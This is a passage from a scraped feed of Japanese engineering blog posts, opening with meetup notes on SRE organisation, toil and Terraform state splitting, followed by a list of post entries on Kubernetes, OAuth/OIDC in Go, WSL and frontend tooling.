@grezarjpマネーフォワードのマイクロサービス基盤の移り変わりの紹介。中央集権構造 => 権限移譲フェーズ => これから中央集権構造サービスごとに開発チームが存在、サービスにまたがってインフラチームが存在開発チームはインフラを気にしなくてもすんだ。メンバーが少ないうちはなんとかなった組織の規模に対してインフラチームがスケールしなくなった責務の分解点を再定義 DevOpsへ権限移譲フェーズ開発チームに権限を渡していくAWSとKubernatesを使用ランタイム、ミドルウェアも開発チームが管理サービスごとにNamespaceを切る、Namespace内で開発チームは権限を持つマイクロサービスごとにAWSアカウント管理して、リソースを管理するこれから権限は渡したが、運用まではむつかしい開発の運用を負荷を下げるためにTerraformのモジュール化、設定のバリデーションの整備AWSアカウントの統制、コスト可視化を進めたいアプリケーションランタイムのSnadbox化特殊要件なアプリケーションで使えるように開発チームにここまでインフラの権限を渡せて、運用できるのはすごいなと思った。QAQ: 開発チームの権限移譲の苦労、運用面、技術面A: マルチアカウントをつかって 技術上の考慮点があった人と人とのかかわりに関しては銀の弾丸はないので、地道な作業が必要ドキュメントとかで監視項目を揃えてあげるのに力を入れたQ: 開発とインフラでスキルセットの違いはあった?A:インフラはアプリをあんまり見てこなかったのでそのへんのギャップはあったQ: EKSのテナント分割の単位A: 権限分類と障害の影響範囲の最小化はシングルテナントが有利とは言われるが運用負荷を下げるためにマルチテナントを選んだSREグループのマネージャーという立場になって真っ先にやったこと by ミクシィ@isaoshimizu内容に関しては、スライドに詳しく書いてあるので参照。SREのミッション・バリューいいなあと思った。うちのチームでもちゃんと考えたい。SRE Lounge #13 LTでも今回と近いことを書いてるので参照してほしいとのこと↓組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' BlogQAQ: SRE主導でやるべきではなかったことA: SREは万能な人がおおくでできてしまう開発側のリソースが足りなくて急がないといけないことをSREがやってしまう本来はそうじゃないよねって話自分としては、SREでも開発分野でも巻き取れることはやってしまってもいいと思うんですよね。線を引きすぎるとセクショナリズムになってあまり良くない気がしてる。組織のあり方はそれぞれで、コンテキスト分かってないので、言い切ることはできないですが。Containerサービス と Toil と by スリーシェイク \xa0@tt0603ECSとEKSについてToilと紐付けての話題。Toilの削減ステップ特定計測削減ただこのプロセスはつらい。SREとしては長期的なエンジニアリング に時間を使いたい。本質的なことをすることが目的。Toilを削減することが目的ではない。技術選定として、まずマネージドで考える。チームとして何を大事にしているかを考える。自分たちの”サイズ”で技術選定をして価値あるエンジニアリングをする。個人的にはEKSとECSのまとめがわかりやすくてよかった。QAQ: セルフホステッドを選択する場合は?A: 監視するとき Prometheus使うときとかつらいのでFargateは起動が遅い スケールが遅い技術選定において、自分たちの「サイズ」っていう要素が存在するというのは暗黙的なものになりがちなので、ちゃんと具体的に捉えておくの大事な気がした。 #jawsug_sre— Tomoya Kitaura (@kitta0108) 2022年2月25日 先程はパッと答えられませんでしたが、弊社の場合はMicroServiceを運用する際にはIstioを利用するケースが非常に多く、現状では対応していないため、EKSの場合はSelf Hostedを利用するケースが多いですー#jawsug_sre— TakuyaTezuka@3-shake (@tt0603) 2022年2月25日 パネルディスカッションMFのSREの組織のやり方で工夫してるところもともと中央集権的だった、開発に権限移譲していった権限を渡していっていながらそれ以上にプロダクトが開発が増えてしまったので負荷が増えてしまったenabling SREを広げる役割もつくるSREというポジションじゃなくてもSRE的な動きができるように組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' Blog技術支援からSREの組織変数がいくつか システムの規模 性質 組織規模、レベル感などpure sreではじめて権限移譲していく自分たちのサイズに合わせて組織を作っていく開発とSREのベストの距離感タイミングによって違う固定されたものじゃない構成をいかにシンプルにできるかが大事SREが開発に使いやすいサービスを提供するSREのAPIを提供するので好きに使って的な横断組織SREと開発チーム内SREというパターンもあるお互いのコミュニケーションは大事採用する際に求めるスキルセットやレベル感なんでもかんでも能力を持ってる人はいない。特定の領域に得意を持ってるといい、最低限のレベル感はほしいコミュニケーション 大事 ソフトスキルの担保が大事会社のバリューにあってるかSREワークブックの最後の方求められるスキル書いてあるすべてのインフラコードはIaCに寄せたい、チームにはソフトウェアスキル、インフラスキルそれぞれ持つメンバーがほしい変更時のトラブルシューティングはできるべきコードレビューできるスキルを持っていてほしいコーディングあるていどできる人組織による開発をSREに興味をもってもらうはどうしたらいいのだろうかSLOを決めて共通言語で話す留学すると面白いかもお互いがどういう観点で仕事してるかがわかってよいどこまで開発に移譲するかエラーバジェット、SLO、SLIは必要SREが設定するSLOより開発者が設定するSLOの方がいい開発者にとってうまいところを教えるアプローチ開発者にとってもバグが出ないことによって、気持ちよく開発できるよ!開発者の観点じゃなくてビジネス観点でSLO設定するんじゃないのかなって思う。。。?あと、留学いいなあと思った。開発チームに留学したい。SREチームが存在しない。どんなフェーズになったらSREチームを作ったほうがいいというしきい値あります?開発者が開発以外に手を取られて開発スピードが落ちてるのが目に見えたら兼務の限界値がある。得意なことにバリューを出せるようにしたい開発しながらAWSの新機能をキャッチアップするのはたいへんdevとopsのバランスが崩れているとき SREのプラクティスをいれるといいのかもエラーバジェットが判断軸になるかもどれくらいのチームが困ってるかが判断軸になるToil撲滅の意味で費用対効果高かったLambdaランキング今Lambdaを殆ど使ってないchatbotが出たのでLambdaの役割を終えたEKS上にアプリケーションを作ってしまうことが多い必要悪としてのLambda コードを書くのは最終手段。書いた瞬間に負債になる時刻でEC2終了するLambdaオートスケーリングでいいのでは?terrafromでLambda扱いにくい問題SREとしてセキュリティに対しての役割サービスInspectorECRのイメージスキャンCI/CD成立してからじゃないとイメージスキャンできないGuardDutySSOIAM Userを撲滅できたただ個別要件に対応しにくいSREが見てるケースが多いコーポレートセキュリティは範疇じゃないが、アプリケーションセキュリティは範疇5,6人目にセキュリティが強い人がほしい着想の段階からセキュリティの観点をいれておきたいモニタリングロギングの観点で使用してるAWSのサービスAMPEKS使ってるのでコスパが良かったCloudWatch log通知考えるとLambda使わないとAthenaわずらわしい検索しにくいLokiとかに寄せたいログをどこにおくS3Lokiってこれかな?Grafana Loki | Grafana Labs雑感他の会社のSREの話を今まであまり聞くことがなかったので、気づきを得る部分が多かった。SREのミッション・ビジョン・バリューはちょっと考えてみたいなと思った。オンライン開催の形式はYouTube Liveがいいなあって思った。聞き逃しても巻き戻して聞き返せるのがすごい体験として良い。","link":"https://blog.masasuzu.net/entry/2022/02/26/012602","isoDate":"2022-02-25T16:26:02.000Z","dateMiliSeconds":1645806362000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"Future Tech Night #20 Terraform State縛りの勉強会 #future_tech_night","contentSnippet":"future.connpass.com久しぶりにちゃんと勉強会の感想ブログ書きます。① State の分割戦略 〜ModulesとWorkspacesを利用して〜StateはTerraform上での管理を分ける意味では非常に重要な要素であり、適切に分けることで不慮の事故や予期せぬ変更からクラウドリソースを守ることができます。このセッションでは演者が実際にTerraformを利用して感じたことを交えながら、適切なStateの分割戦略とは？について話します。Stateの分割についてModuleによるアプローチとWorkspacesによるアプローチ、そしてそのあわせ技についての説明がありました。Workspacesは使ったことないのであまり知見がなかったので、いろいろ参考になる部分がありました。今のterraform運用だと環境ごとにディレクトリを切ってstateを分割してます。で、環境ごとの差異としてパラメータだけでなく、作るリソース作らないリソースが若干まちまちなので、そのままだとWorkspacesは向かないなと感じました。絶対に作るリソース、RDSやVPCなどは分割した上でWorkspacesで管理するのはありなのかなとは思いました。ただ、同じシステムで、環境毎のディレクトリとリソース毎のディレクトリが混在するのはわかりにくくならないかなという懸念はあります。悩ましいですねあと、ブランチ戦略も難しいですね。現状はmasterでprdをapplyするように、stagingでそれ以外の環境をapplyするようになってますが、全部masterでやるようにしても良いのではと思ったりもしてる今日このごろです。② クラウドリソース自体をdestroy/createdせずに、Terraformリソース定義の記述場所を変更する方法クラウドサービス上で稼働するリソースには一切手を付けずに、Terraformの定義記載場所だけを変更する方法を話します。Terraformを利用していると「このディレクトリ配置じゃダメだ。配置変えしたいのだけれど、リソースの再作成はできない。次にインフラ設計するときは、〇〇に注意しよう」という運用ナレッジが貯まると思います。スタート時点で完璧なTerraformディレクトリ設計ができれば御の字ですが、それが不可能なことは、この分野でベストプラクティスが確立されていないことにより証明されています。本パートでは「Terraformのディレクトリ配置には定石がないのだから、運用状況に合わせて柔軟に配置換えすべき」という観点から、「動作中リソースに影響なく、Terraform定義箇所を移植する方法」について話します。20220217_FutureTechNight_#20_TerraformState縛りの勉強会.pptx - Google スライドこんなふうに別のtfstateファイルにリソースをmvすることによって、Stateにリソースを移動できる手法を説明してました。terraform state mv -state-out=${moved_resource.tfstate} ${moved_resource}terraform state pull > ${to.tfstate}terraofm state mv -state=${moved_resource.tfstate} -state-out=${to.tfstate}terraform state push ${to.tfstate}State間でのリソース移動に関しては、terraform state rmとterraform importのあわせ技しか知らなかったので、新しい知見を得ました。まだ試せてないないんですが、State内での移動であれば、moved block使うのもありなのかなと思いました。ちなみリソースが消えた場合にもmove blockって使えるんですかね?なかなか他の会社のterraform運用の話を聞く機会があまりなかったので、楽しかったですね。最近勉強会出てもメモすら残さないことが多くて、せっかく参加したのにあまり有意義に時間を使えていなかったので、薄くてもいいので今後ちゃんと感想、意見を書き残していきたいと思いました。","link":"https://blog.masasuzu.net/entry/2022/02/17/210848","isoDate":"2022-02-17T12:08:48.000Z","dateMiliSeconds":1645099728000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Kubelet APIをcurlで叩く","link":"https://bells17.medium.com/curl-to-kubelet-api-f73cb17888b7?source=rss-713cf42ce34d------2","isoDate":"2022-02-10T16:10:23.000Z","dateMiliSeconds":1644509423000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/04] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの Yahoo! Japan TechCanference 2022https...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220204","isoDate":"2022-02-04T10:56:59.000Z","dateMiliSeconds":1643972219000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/01/28] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年01月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/QTjbQD6tswc 告知とかニュースっぽいもの Coinhive事件最高裁「無罪」判決を受けてhttps://hacker...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220128","isoDate":"2022-01-28T12:59:05.000Z","dateMiliSeconds":1643374745000,"authorName":"bells17","authorId":"bells17"},{"title":"自作したOAuthサーバを拡張してOIDC機能を追加してみる","contentSnippet":"はじめに前回、OAuthサーバを自作してみました。せっかくなのでOIDCの機能を追加してOIDCサーバとしても振る舞えるようにしたいと思います。コードは以下になります。https://github.com/sat0ken/goauth-server 準備jwtを作るときの署名用にopensslコマンドでキーペアを作成しておきます。pemファイルはmain.goと同じフォルダに置いておきます。$ openssl genrsa > private-key.pem$ openssl rsa -in private-key.pem -pubout -out publ...","link":"https://zenn.dev/satoken/articles/golang-oidc-server","isoDate":"2022-01-10T07:56:35.000Z","dateMiliSeconds":1641801395000,"authorName":"satoken","authorId":"satoken"},{"title":"雰囲気でOAuthを使っていたエンジニアがOAuthサーバ(RFC6749)を自作してみる","contentSnippet":"はじめにAuth屋さんの本やその他有識者のBlogなどを読むことで少しながらOAuthやOIDCの仕組みが理解できてきました。そんななかで以下の記事が大変勉強になりました。https://qiita.com/TakahikoKawasaki/items/e508a14ed960347cff11↑の記事ではRubyで実装されているのですが、これを参考というかほぼ丸コピですがgolangで実装してみたいと思います。コードは以下にあります。https://github.com/sat0ken/goauth-server 仕様OAuthサーバでは認可エンドポイントとトークン...","link":"https://zenn.dev/satoken/articles/golang-oauth-server","isoDate":"2022-01-03T09:24:05.000Z","dateMiliSeconds":1641201845000,"authorName":"satoken","authorId":"satoken"},{"title":"golangでOAuthとOpenID Connectの違いを整理して理解する","contentSnippet":"はじめに前回の記事に引き続きAuth屋さんのOIDC本を読みました。今回もチュートリアルのcurlとブラウザで行っている部分をgolangに置き換えてみたいと思います。方針は前回の実装と同じです。httpサーバを起動させるアクセスするとgoogleにリダイレクトさせるcallbackを受けたら認可コードでトークンリクエストをする取得したトークンでプロフィールにアクセスするOAuthではGoogleのPhoto APIにアクセスしましたが、プロフィール情報にアクセスするのが違いとなります。IDトークンの検証も行いますが勉強のためなるべくライブラリなどは使用せず標準...","link":"https://zenn.dev/satoken/articles/oidc-client-golang","isoDate":"2022-01-02T16:32:52.000Z","dateMiliSeconds":1641141172000,"authorName":"satoken","authorId":"satoken"},{"title":"雰囲気でOAuth2.0を使っているエンジニアがgolangで学んでみる","contentSnippet":"はじめに技術書典で購入していたAuth屋さんの本を読みました。とてもわかりやすくいい本ですが、チュートリアルを進める時にcurlコマンドとブラウザを行ったり来たりするのがめんどくさくなってきたので、golangで置き換えてみることにしました。どうしようかと考えてみて\uD83D\uDE44、下記のように実装してみます。httpサーバを起動させるアクセスするとgoogleにリダイレクトさせるcallbackを受けたら認可コードでトークンリクエストをするトークンを取得したらリソースにアクセスする(GooleのAPIを叩く)最終的なコードは以下にあります。https://gist.gith...","link":"https://zenn.dev/satoken/articles/oauth-funiki","isoDate":"2021-12-31T05:54:04.000Z","dateMiliSeconds":1640930044000,"authorName":"satoken","authorId":"satoken"},{"title":"WSL2でDNSは8.8.8.8を見つつX Serverを利用する","contentSnippet":"概要VPNを利用するのでDNSサーバーを8.8.8.8に固定したいしかし、X Serverを使うので環境変数DISPLAYにWindowsが解決するホスト名を使用しているexport DISPLAY=\\"$(hostname).mshome.net:0.0\\"DISPLAYにホスト名ではなくIPアドレスを設定しDNSサーバーを固定する DNSサーバーを固定 /etc/wsl.confを作成/etc/wsl.conf[network]generateResolvConf = false /etc/resolv.confを削除$ sudo unli...","link":"https://zenn.dev/tayusa/articles/8a76c02772d0a5","isoDate":"2021-12-28T00:57:59.000Z","dateMiliSeconds":1640653079000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Accurateの内部実装","link":"https://bells17.medium.com/accurate-internal-70915fe716ca?source=rss-713cf42ce34d------2","isoDate":"2021-12-15T18:56:05.000Z","dateMiliSeconds":1639594565000,"authorName":"bells17","authorId":"bells17"},{"title":"Nuxt.jsを「正しく」終了する","contentSnippet":"はじめにこの記事はNuxt.js Advent Calendar2021の12日目の記事です。11日目は@Skmt3PさんのNuxtのコンポーネントをWeb Componentとして利用するでした。(web component触ってきてないからへぇって気持ちで読まさせていただきました) 概要hooks自体を調べていたときにcloseという項目がありました。そして、説明にはNuxt インスタンスが正しく終了したときというのがありました。「正しく」とは一体…となって原文を見てみるとNuxt instance is gracefully closing.というこ...","link":"https://zenn.dev/satohjohn/articles/fd876409209ed1","isoDate":"2021-12-11T15:35:11.000Z","dateMiliSeconds":1639236911000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Daprつかってみた(Web APIのイメージでローカルストレージとGCSを同じように扱ってみる)","contentSnippet":"この記事は Web API Advent Calendar 2021 の5日目の記事になりますちなみに4日目は@sys_zeroさんのPower Automate for desktopの変数に関するTips「JSONにnull値がある場合の選択的置換」でした今回は、当日まで全く内容について考えられてなかったのですが、ふっと、頭にわいた、個人的に気になっているDaprについて調べて、ローカルストレージとGoogle Cloud Storage(以下GCS)を扱ってみます なんで今回Dapr？Daprを使うメリットの1つとして、他のサービスにつなぐ方法をHTTPまたはgRPCに...","link":"https://zenn.dev/satohjohn/articles/96873574f07534","isoDate":"2021-12-04T15:01:17.000Z","dateMiliSeconds":1638630077000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"GKE CNI Deep Dive (2021)","contentSnippet":"GKE (Google Kubernetes Engine) のネットワーク周りの実装はユーザーの見えないところで変化を続けています。以前は、公式ドキュメントにあるように bridge interf…","link":"https://qiita.com/toVersus/items/4ff2525d562d8de4d530","isoDate":"2021-10-23T08:20:56.000Z","dateMiliSeconds":1634977256000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"WSLでGitHubのPersonal access token認証","contentSnippet":"参考https://github.com/microsoft/Git-Credential-Manager-Core#windows-subsystem-for-linux-wsl GitCredentialManagerとGitをインストールPowerShellにて> winget install --id Microtsoft.GitCredentialManagerCore> winget install --id Git.Gitwingetがなければ https://github.com/microsoft/winget-cli#installing...","link":"https://zenn.dev/tayusa/articles/f81e6551642867","isoDate":"2021-09-30T16:01:55.000Z","dateMiliSeconds":1633017715000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Vuexの型定義でモジュールでの型解決してくれるようにしてみた","contentSnippet":"前提Nuxt.jsでVuexを使っているのでそのときにhttps://github.com/ktsn/vuex-type-helper以下を利用させてもらっていましたただ、モジュールのstore場合利用時にtypeがうまくはまらないから、どうするんだろうとか色々見てたのですがあんまりいい手段が見つからなく、自分で型定義でテンプレートリテラル部分書いたらどうなんだろうとおもってやってみました。正直もっと良い手段があると思いますが、今回は自分の勉強踏まえの備忘録。そして、多分Vue3対応とかが入ったらちゃんと動いていくんだと思うので、後で書き換えればいいし、現状型の問題だけな...","link":"https://zenn.dev/satohjohn/articles/b064cf966a9e20","isoDate":"2021-09-11T04:37:38.000Z","dateMiliSeconds":1631335058000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"FirebaseのCliでの操作で401系エラーが出るときの解決法","contentSnippet":"考えられる原因は以下ですログインできていない本当に権限がないcliに保存されているクレデンシャルが古い 前提環境としてはfirebase-tools 9.16.5です ログインできていないコレはわかりやすいです。以下コマンドでログインしてくださいfirebase loginちなみに、すでにログインしている場合は、ログインしているアカウントが表示されます(コレはまりポイント 本当に権限がないGCPのIAMの権限を確認してください。個人で直接Firebaseプロジェクトを作っている場合はあまり関係がないかもしれません。 cliに保存されているクレデンシャ...","link":"https://zenn.dev/satohjohn/articles/d409819196c6b8","isoDate":"2021-08-17T05:54:30.000Z","dateMiliSeconds":1629179670000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ストレングスファインダーのコーチングを受けてみた","link":"https://bells17.medium.com/strengthsfinder-2140afddf46f?source=rss-713cf42ce34d------2","isoDate":"2021-08-11T13:27:04.000Z","dateMiliSeconds":1628688424000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes Hardening Guidanceを訳してみた(随時更新中)","contentSnippet":"この文章について米国土安全保障省サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)と米国家安全保障局(NSA)によリ作成されたKubernetes Hardening Guidance, Kuebrnetes環境のセキュリティをより堅牢にするためのガイダンスを翻訳したみたものです。https://news.mynavi.jp/article/20210804-1938869/訳者の英語力は壊滅的ですので、多くの誤訳などあるかと思いますが生暖かい目で見て頂ければと思いますのでよろしくお願いします。翻訳は以下で随時更新＆修正していきます。https://gith...","link":"https://zenn.dev/satoken/articles/k8s-hardening-guidance-ja","isoDate":"2021-08-09T08:37:51.000Z","dateMiliSeconds":1628498271000,"authorName":"satoken","authorId":"satoken"},{"title":"Kube API Serverの内部実装を解説する技術同人誌を技術書典11で出しました!","link":"https://bells17.medium.com/wrote-the-kube-api-server-book-2155129db374?source=rss-713cf42ce34d------2","isoDate":"2021-07-19T09:16:43.000Z","dateMiliSeconds":1626686203000,"authorName":"bells17","authorId":"bells17"},{"title":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについて","contentSnippet":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについてTable of ContentsOracleインストール中にでたSysctl系エラーであたったkernel parameterについてMotivationそもそもsysctlとは何なのか？Oracleセットアップ中に遭遇したkernel parameterssemopm変更方法セマフォ(semaphore)とは？SEMSMLSEMMNSSEMOPMSEMMNIfile-max変更方法rem_default/rem_max/...","link":"https://zenn.dev/nnaka2992/articles/1fa7fb5d03f958","isoDate":"2021-07-11T08:41:03.000Z","dateMiliSeconds":1625992863000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Open Telemetry + Google Cloud Trace やってみた","contentSnippet":"モチベーションGoogle Cloud Trace(以下Cloud Trace)がOpen Telemetryの対応をしているということで、更にドキュメントにはないけど(2021-06-14現在)Javaでもライブラリができたので、それを試してみる。分散トレーシングしたいって言う場合、GKEで組んでいる場合、Cloud Traceのライブラリを使って直接送るっていうのもありだが、Open Telemetryを使うことで、他のツールにも送れるような仕組みができる。 前提分散トレーシングについて知っているNuxt.jsについて少し知っている Open Telemetr...","link":"https://zenn.dev/satohjohn/articles/e37e8575966204","isoDate":"2021-06-14T05:35:09.000Z","dateMiliSeconds":1623648909000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"denops.vimを使って引用符と括弧を操作するVimのプラグインを書いた","contentSnippet":"はじめにかねてから、Denoを触ってみたいけど肝心の作るものがないなと思っていました。そんな矢先にたまたまdenops.vimとの邂逅を果たしたので、昔作ったプラグインを書き直してみました。denops.vimについてはhttps://github.com/vim-denops/denops.vimhttps://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9 作ったものhttps://github.com/atsuya0/dps-surrounding.vim題目のとおり、引用符と括弧を操作するvimのプラグイ...","link":"https://zenn.dev/tayusa/articles/58d1c20172f662","isoDate":"2021-06-13T15:41:53.000Z","dateMiliSeconds":1623598913000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Kustomize でスラッシュを含むパスにパッチを当てる","contentSnippet":"背景Kustomize では JSON Patch を用いて base のマニフェストにパッチを当てることができます。例えば，以下のマニフェストdeployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: labels: app.kubernetes.io/name: myapp app.kubernetes.io/version: v1.0.0 name: myapp version: v1.0.0...の version の値を v1.0.1 に変えたい場合は，以下の...","link":"https://zenn.dev/toshikish/articles/38896bb9ae1913","isoDate":"2021-05-31T07:34:24.000Z","dateMiliSeconds":1622446464000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Rustの練習","contentSnippet":"概要完全に参照の部分に慣れていないので、これをどうやって対応したのかを自分の整理のためにもメモしていくexerismでRustの勉強をしているが、その問題を使う Simple Linked List全容： https://exercism.io/tracks/rust/exercises/simple-linked-list/solutions/d0fdfb1c904344ecbf4bcf808c345cdc以下のような構造ときので後入れ先出しのパターンの場合pub struct SimpleLinkedList { head: Option&...","link":"https://zenn.dev/satohjohn/articles/536589f3a86600","isoDate":"2021-05-01T14:15:59.000Z","dateMiliSeconds":1619878559000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"First-Party Setsについて","contentSnippet":"概要Cookie のセキュリティについてです。 partyCookieにはfirst-partyとthird-partyがあります。first-partyとは現在訪れているドメインです。third-partyとは現在訪れているドメインとは違うドメインです。 SameSite Cookieshttps://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie/SameSite現在、訪れているドメインから別ドメインにHTTPリクエストを送信するときに、Cookieをセットするか設定するものです。これには...","link":"https://zenn.dev/tayusa/articles/efa8aa75ad5519","isoDate":"2021-04-25T16:30:34.000Z","dateMiliSeconds":1619368234000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ユーザーのGoogle Calendarへ予定を自動登録","contentSnippet":"概要Webサービスで映画や美容室の予約を行うと、たまに自分のGoogle Calendarに自動で予定が追加されていることがあると思います。それはGoogleが提供しているEmail Markupという機能によるものです。 Email Markupとはhttps://developers.google.com/gmail/markupEmail Markupは schema.org を使って新たなにEmailの機能を追加できる仕組みです。Emailの文面のHTMLに schema.org マークアップというデータを加えることで動作します。schedma.org マーク...","link":"https://zenn.dev/tayusa/articles/bacac8cbf8ff16","isoDate":"2021-04-25T16:24:54.000Z","dateMiliSeconds":1619367894000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Ansibleのyumリポジトリを作成しスタンドアロンのサーバで使用する手順","contentSnippet":"#目的と背景スタンドアロン(社内リポジトリ及びインターネット繋がってない)にパッケージ入れたいけど、依存パッケージが多すぎて無理ゲーなのでリポジトリごと転送したい場合の方法です。今回はyumコマン…","link":"https://qiita.com/nullzebra/items/221b531ac450d2da0149","isoDate":"2021-02-28T17:51:58.000Z","dateMiliSeconds":1614534718000,"authorName":"Satoru Kikuta","authorId":"nullzebra"},{"title":"July Tech Festa 2021 winterで発表&運営スタッフをしました","link":"https://bells17.medium.com/july-tech-festa-2021-winter%E3%81%A7%E7%99%BA%E8%A1%A8-%E9%81%8B%E5%96%B6%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E3%81%97%E3%81%BE%E3%81%97%E3%81%9F-385e7e18aac4?source=rss-713cf42ce34d------2","isoDate":"2021-01-26T04:26:28.000Z","dateMiliSeconds":1611635188000,"authorName":"bells17","authorId":"bells17"},{"title":"markedjs/markedでmarkdownにclassをつけてcssを当てる","contentSnippet":"前提markdownからhtmlに変換するライブラリはmarkedを使います。https://github.com/markedjs/markededitorはreact-simplemde-editorを使います。https://github.com/RIP21/react-simplemde-editorReact component wrapper for EasyMDE (the most fresh SimpleMDE fork). 環境node 14.10.1react 17.0.1marked 1.2.7react-simplemde-editor...","link":"https://zenn.dev/tayusa/articles/54128714c8ee2d","isoDate":"2021-01-25T02:16:44.000Z","dateMiliSeconds":1611541004000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"AWS ソリューションアーキテクト アソシエート合格までのまとめ","contentSnippet":"#目次#0. はじめに先日、AWS ソリューションアーキテクト アソシエート に合格したので、忘れないうちに色々とアウトプットしておこうと思います。これから受験を考えている方の役にたてればと思い…","link":"https://qiita.com/dirtymosschan/items/da3eebdf6b7be9c3eb67","isoDate":"2021-01-19T13:11:47.000Z","dateMiliSeconds":1611061907000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"glibc, musl libc, go の resolver の違い","contentSnippet":"先日、resolv.conf で timeout を調整したいなと思うことがありました、しかし、Docker だの Kubernetes だのといった時代です。Linux しか使っていなかったとして…","link":"https://qiita.com/yteraoka/items/e74e8bf24f72f7ed5f15","isoDate":"2021-01-13T14:04:22.000Z","dateMiliSeconds":1610546662000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"GCP Cloud Runの概括","contentSnippet":"概要フルマネージドのサーバーレスプラットフォーム。トラフィックに応じて自動でスケーリング。コンテナをデプロイするから言語が自由。Cloud BuildやCloud Loggingと統合されていてデプロイやログ収集が手軽。従量課金。リクエストが処理されている間が請求対象。シンプルな構成のマイクロサービスにはうってつけ。複雑な構成管理が必要ならGKE。 パフォーマンスに関して 注意とtipsレスポンスを返すとインスタンスのCPUアクセスが無効か制限されるのでバッググラウンドで処理しない。メモリが使われるので一時ファイルは削除する。動的型付け言語の場合はライブ...","link":"https://zenn.dev/tayusa/articles/74a95f41f00792","isoDate":"2021-01-05T18:59:11.000Z","dateMiliSeconds":1609873151000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"2020年にKubernetse関連で取り組んだことまとめ","link":"https://bells17.medium.com/2020-kubernetse-4771e660a174?source=rss-713cf42ce34d------2","isoDate":"2020-12-23T16:04:00.000Z","dateMiliSeconds":1608739440000,"authorName":"bells17","authorId":"bells17"},{"title":"GCP の Identity Aware-Proxy を使って SSH した話","contentSnippet":"#Cloud Identity Aware-Proxy とは？一言で表すと、Google のアカウントを使ってセキュアにリソースに接続できるプロキシサービスです。###何ができる？GCP 上の…","link":"https://qiita.com/dirtymosschan/items/fd11001daa68d7c8d943","isoDate":"2020-12-22T11:20:18.000Z","dateMiliSeconds":1608636018000,"authorName":"Yu 